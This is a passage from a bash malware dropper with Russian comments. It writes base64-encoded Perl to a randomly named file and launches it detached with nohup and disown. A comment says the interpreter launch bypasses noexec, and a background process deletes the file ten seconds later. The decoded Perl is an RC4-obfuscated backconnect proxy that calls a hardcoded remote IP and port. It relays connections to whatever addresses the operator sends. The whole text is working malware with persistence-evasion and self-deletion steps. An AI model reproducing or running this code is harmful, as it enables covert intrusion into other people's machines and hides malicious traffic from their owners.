TA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_3bf4790b() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MD